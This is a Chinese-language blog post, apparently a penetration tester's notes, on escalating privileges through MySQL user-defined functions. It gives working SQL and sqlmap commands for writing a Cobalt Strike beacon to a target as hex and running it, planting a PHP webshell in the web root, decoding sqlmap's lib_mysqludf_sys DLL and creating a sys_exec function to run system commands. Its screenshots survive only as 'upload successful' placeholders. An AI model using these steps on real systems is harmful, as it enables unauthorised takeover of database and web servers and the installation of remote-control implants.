温故——MySQL数据库UDF提权

update:2019-05-13

遇到一个案例,在内网扫描到MySQL弱口令(root账户),连接数据库后将beacon以16进制的形式写入到指定目录(目录可通过sqlmap os-shell获得),可在本地MySQL执行:

1
select hex(load_file('/root/beacon.exe')) into dumpfile 'root/beacon.txt';

然后在目标MySQL执行:

1
select 0x{beacon.txt} into dumpfile 'C:\\path\\beacon.exe';

最后在sqlmap的os-shell上运行beacon即可;

注:通过该方法写入hex数据时注意路径正确,写入文件不易过大,耗时较久;

使用sqlmap也可以实现udf提权,在一定情况下可选;

1
sqlmap -d "mysql://user:[email protected]:3306/testdb" --os-shell

通过执行记录可看到仍然是上传dll文件后创建sys_evel和sys_exec函数来执行系统命令;

======================

一个PHP站点,安装了phpmyadmin,root口令已拿到,首先想到的是写shell,然后看webshell权限情况是否需要提权。
数据库一些基本参数:
upload successful
默认安装位置在C盘program files路径(这个路径普通权限无法写入,后续提权会遇到),猜测网站路径也应该是默认部署,即C:/intpub/wwwroot/,可直接向这个路径写文件验证一下,不过后来手工试了一下phpinfo存在,验证路径正确。

upload successful
贴一张mysql文件操作的笔记:
upload successful
写webshell:

1
select "..." intofile "C:/intpub/wwwroot/shell.php";

此处需注意路径中“/”或者“\\”才可以,不要直接复制phpinfo中的“\”。
看一下webshell权限:
upload successful
(SeImpersonatePrivilege开启,看了下端口开放情况应当可以用另一种方法提权,暂且放置)

UDF

UDF即用户自定义函数,一个包含执行函数的动态链接库,这个dll文件(Windows环境)在SQLMAP安装目录有,x86和x64环境各一份 :
upload successful
需要先做一下解码操作:

1
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll_

会在同目录生成一份可用dll文件

upload successful
关于选择平台位数的问题,需要在MySQL中确认:

upload successful
这儿要以version_compile_os为准,选64位的dll。
如果选择错误会报如下错误:

upload successful

准备好udf64.dll文件之后,上传目录也需要选择正确的路径:
1、MySQL>5.1,需要放置在mysql安装目录下的plugin文件夹;
2、MySQL<5.1,需要放置在system32目录下
查看plugin完整路径:
upload successful
该目录webshell没有写权限,利用MySQL的load_file函数

upload successful
创建函数sys_exec:

1
create function sys_exec returns string soname "udf64";

创建成功之后即可直接select sys_exec来使用;

upload successful
测试完成之后删除函数,删除dll文件;

1
drop function sys_exec;